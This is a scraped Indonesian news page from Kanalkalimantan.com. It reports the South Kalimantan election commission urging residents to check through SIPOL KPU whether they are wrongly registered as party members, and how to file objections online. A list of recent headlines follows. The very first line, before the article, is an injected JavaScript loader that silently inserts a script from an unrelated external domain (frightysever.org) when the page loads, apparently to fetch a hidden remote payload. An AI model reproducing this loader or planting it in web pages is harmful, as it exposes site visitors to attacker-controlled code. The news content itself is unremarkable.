(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

Anda Terdaftar sebagai Anggota Parpol? Begini Cara Cek di Sipol KPU


KANALKALIMANTAN.COM, BANJARMASIN – Proses pemilu serentak 2024 sudah berlangsung dan telah ditetapkan partai-partai politik yang lolos administrasi oleh Komisi Pemilihan Umum (KPU) RI. Terkait ini, KPU Kalsel mengimbau masyarakat yang terdaftar sebagai anggota parpol untuk mengecek melalui Sipol KPU.

Divisi Sosialisasi Pendidikan Pemilih dan Pendidikan Masyarakat KPU Kalsel Edy Ariansyah mengimbau masyarakat untuk mengecek data dirinya. Jika merasa bukan anggota partai politik tapi terdaftar silakan untuk melaporkan.

“Kami menghimbau kepada masyarakat untuk memastikan dirinya mengecek melalui sipol KPU https://infopemilu.kpu.go.id/Pemilu/Cari_nik dan isi NIK sesuai KTP elektronik untuk memastikan dirinya terdaftar atau tidak terdaftar. Bagi yang merasa dirinya bukan anggota partai politik tapi terdaftar maka dapat mengisi formulir yang telah disediakan oleh KPU secara online tanpa harus datang ke kantor,” katanya saat ditemui Kanalkalimantan.com, Senin (22/8/2022).

“Sampaikan keberatan atau tanggapan melalui https://helpdesk.kpu.go.id/tanggapan di sana bisa menyampaikan tanggapan atas keberatan,” tambah Edy.

 

Baca juga  : Kecamatan Kertakhanyar Terbaik Pertama pada Lomba Kuliner Banjar 2022

Selain itu masyarakat juga dapat menyampaikan tanggapan atau masukan secara tertulis menggunakan formulir yang telah disediakan di lampiran peraturan KPU No 4 Tahun 2022 atau dapat mengunduh di situs KPU Provinsi Kalimantan Selatan.

Selain itu masyarakat juga dapat melaporkan raya memberikan tanggapan terkait dalam hal, terdapat keraguan  terhadap keabsahan dokumen persyaratan parpol peserta pemilu 2024 secara tertulis.

“Tidak hanya menggunakan secara tertulis tapi juga melaporkan dilampirkan dengan identitas yang jelas, bukti yang mendasari laporanya, dan uraian mengenai objek yang dilaporkan, sehingga KPU akan menindak lanjuti sesuai dengan laporan atau tanggapan masyarakat tersebut,” katanya.

 

“Formulir tanggapan dapat diunduh melalui https://bit.ly/Formulir-Tanggapan-Masyarakat,” tambah Edy.

Masyarakat juga diminta untuk berpartisipasi secara positif untuk mengawal dan mensukseskan pemilu serentak tahun 2024 yang tahapanya sudah dimulai. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell


Desy Arfianty

Recent Posts

Nurkhalis Anshari Menuju Pilwali Banjarbaru ‘Bergantung’ Poros Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Proses lobi politik terus dilakukan kader Partai Keadilan Sejahtera (PKS) Nurkhalis Anshari… Read More

2 jam ago

8 Nama Masuk Penjaringan DPC PKB Banjarbaru, Ada Ayah dan Anak dari Golkar

KANALKALIMANTAN.COM, BANJARBARU – Partai Kebangkitan Bangsa (PKB) pemilik 3 kursi di DPRD Kota Banjarbaru 2024-2029… Read More

3 jam ago

Jembatan Simpang 3 Lingkar Utara Banjarbaru Ditutup Sampai Akhir Tahun, Begini Pengalihan Lalin ke Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Pengendara yang biasa melewati akses jembatan simpang tiga jalan Lingkar Utara, Kota… Read More

7 jam ago

Pilgub Kalsel 2024 Dipastikan Tanpa Pasangan Non Partai

Pendaftar Jalur Independen Pilkada di Kalsel Hanya 4 Daerah Read More

8 jam ago

Upah Dipotong untuk Tapera, Cuit Soleh Solihun Bikin Pekerja Ketar-ketir

KANALKALIMANTAN.COM, JAKARTA - Publik di platform sosial media tengah ramai membahas perihal pemotongan upah pekerja… Read More

8 jam ago

Kenaikan UKT Ditunda Mahasiswa Jangan Senang Dulu, Menunda Belum Membatalkan!

KANALKALIMANTAN.COM, JAKARTA - Politikus PDI Perjuangan Adian Napitupulu menyebut mahasiswa telah berhasil membuat semua orang… Read More

9 jam ago

This website uses cookies.